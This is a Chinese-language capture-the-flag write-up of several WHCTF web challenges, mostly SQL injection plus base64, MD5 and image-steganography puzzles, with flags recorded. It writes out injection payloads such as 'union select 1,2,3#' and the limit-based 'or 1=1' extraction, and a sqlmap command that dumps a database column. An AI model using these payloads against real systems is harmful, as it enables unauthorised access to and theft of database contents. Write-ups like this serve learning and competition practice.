WHCTF WEB题目分析

之前一直都是在学习Web安全相关的知识,而WHCTF算是第一次真正意义上的参加了CTF比赛。这次的CTF比赛由于华科是第一次举办,导致题目相对于以往的大部分考察的是技巧性的CTF比赛的题目,本次的很多的题目都是一些脑洞大开的题目。本篇文章仅仅说明我在做题过程中的思考以及最后的收获,对于那些需要靠猜的题目就不多过多的介绍和说明。

窃取

题目的样式如下所示:
题目图片
这样的题目id一般都是注入点,本题也不例外。验证的例子如下

1
http://106.75.10.230:9090/index.php?id=1 and 1=0 union select 1,2,3

发现页面输出的是2。接下来使用sqlmap来跑表。然后按照步骤一步步地进行操作。最后发现在users表中存在这样的数据。

然后根据题目将密码进行异或运算。Python中可以直接进行异或运算。如下:

1
2
3
4
a = 0x8FC63BC4337CD4B5F70577118BB69FE8
b = 0x6a3fba70c97c880679a740669ddd5ca3
c = a^b
print(hex(c)) #0xe5f981b4fa005cb38ea23777166bc34b

最后进行md5反查之后,就得到了flag,whctf{hust}

忘了账户和密码

这道题目也是自己率先做出来的题目。我目前的水平刚好达到了这道题目的难度。
题目图片
如上如所示,题目会显示执行的sql语句。那么用户名就会存在一个注入点。但是在尝试使用

1
**username=wyj'or 1=1 # &password=123**

却发现程序仍然无法返回。根据我作为一名程序员的直觉,我认为对查询返回的结果的长度进行了判断。如果查询返回的结果不为1,则认为登录失败,按照这个想法,我的payload如下:

1
username=wyj'  union select 1,2,3# &password=123

提交之后,果然拿到flag。whctf{hustatmyhome}

忘记了密码怎么办

这道题目的如下:

这道题目直接使用sqlmap就可以跑出答案。
命令如下:

1
python sqlmap.py -u "http://106.75.10.230:7890/" --data "username=123&pass=12" -D "sql_i" -T "user" --dump -C flag

但是在使用sqlmap跑数据的时候,发现好像使用的是基于时间的注入,导致注入的时间比较的长。当时我试着去拖整个库,发现耗时太长了。最后使用--dump -C flag就可以选择只是提取flag这一列的数据。
刚才看了writeup之后,又新涨了姿势了。
以下是官方给出的writeup的解答。

首先根据题目得提示是一个SQL注入的问题。使用or 1=1 #') or 1=1#发现存在sql注入。观看提示框,发现每次只能出一个结果,所以需要结合sql中的limit进行sql注入。') or 1=1 limit 1,1#

当注入到第五行出现whctf{这个答案。继续注入如下:

') or 1=1 limit5,1 #

') or 1=1 limit6,1 #

') or 1=1 limit7,1 #

') or 1=1 limit8,1 #

拼接之后就可以得到答案。whctf{hello$$##itisme&---&&&}

从这个官方的答案中,我发现还可以使用') or 1=1#,这样的sql主人语句就是用来注入select * from users where username = ($username) and password=($password)。其次当遇到每次只能返回一条结果的时候可以使用limit来遍历所有的结果,这个也是我之前没有使用的。

关于limit的用法,limit n,m中的n表示的是偏移量,而n返回记录行的数目。如limit 5,1其实就是返回第5行的结果。

看图说话

这道题目我没有做出来,起初以为是需要绕过登录,需要用到与XSS,SQL注入有关的知识,最后发现这道题目完全是脑洞。
以下是题目的信息

小明web开发学了一天,迷糊的厉害。这不刚上传的ctf页面脚本,竟然访问不了,你能帮帮他吗?http://106.75.10.230:5566。

访问页面之后就是一个简单的登录页面,需要输入密码。
最后这道题目也是看了writeup之后才得到答案的。在页面中输http://106.75.10.230:5566ctf.php之后,页面虽然最终也跳转到index.php的页面,但是在ctf.php中有一个img标签。使用浏览器是无法看到ctf.php中的页面信息的,通过使用burpsuite抓包就可以查看到页面的源代码。页面代码如下:

其中有一个图片,打开图片就可以拿到flag。
当然除了使用burpsuite查看之外,还可以使用命令

1
curl -l "http://106.75.10.230:5566/ctf.php"

也能够查看到ctf.php的html源代码。
遇到没有思路的时候,要多用burpsuit抓包,说不定会有新的发现。

我叫李二狗(一)

看了这道题目我发现我的脑洞和我的密码学方面的知识都需要加强。题目最终其实就是一段base64的加密字符串。如下:

1
MmwzZmVhZDZvMjI4NmNjbzZiN3g0OTZibDI1ZWYyMmI=

Base64decode之后结果如下:

1
2l3fead6o2286cco6b7x496bl25ef22b

发现无法往下面做了。看起来像是md5加密,但是发现其中出现了X。md5加密是不可能出现X的。最后看了writeup之后,发现原来需要将o变为0,l变为1,然后去枚举x,然后解md5,拿到flag。但是并不知道该如何进行枚举,枚举之后又该如何地进行验证。

李二狗的梦中情人

访问链接之后,得到的如下的一张图片。图片如下:

用notdpad++打开之后,发现里面有一个链接。打开这个链接之后,发现是一张一样的图片。根据提示,需要比较2张图片,使用比较神器beyond Compare对2张图片进行比较,发现得到了一个二维码。扫描二维码就是结果。
Beyond Comapare真是一个神器。

纸上得来终觉浅,绝知此事要躬行。理论知识是远远不够的,还是要多多地练习,将理论与实际向结合,在比赛中去历练自己,这样自己才会成长,才能够真正地有所进步。参加了这个比赛之后,我才发现之前自己看书所吸收到的知识都没有印象了,看来只有经历过百思不得其解,才会对某个知识点记忆深刻呀。虽然这次自己没有拿到很好的名次,但是每个人都是从小渣开始的。我相信只要肯学习,多加强实际的训练,我一定成为一名极客、黑客的。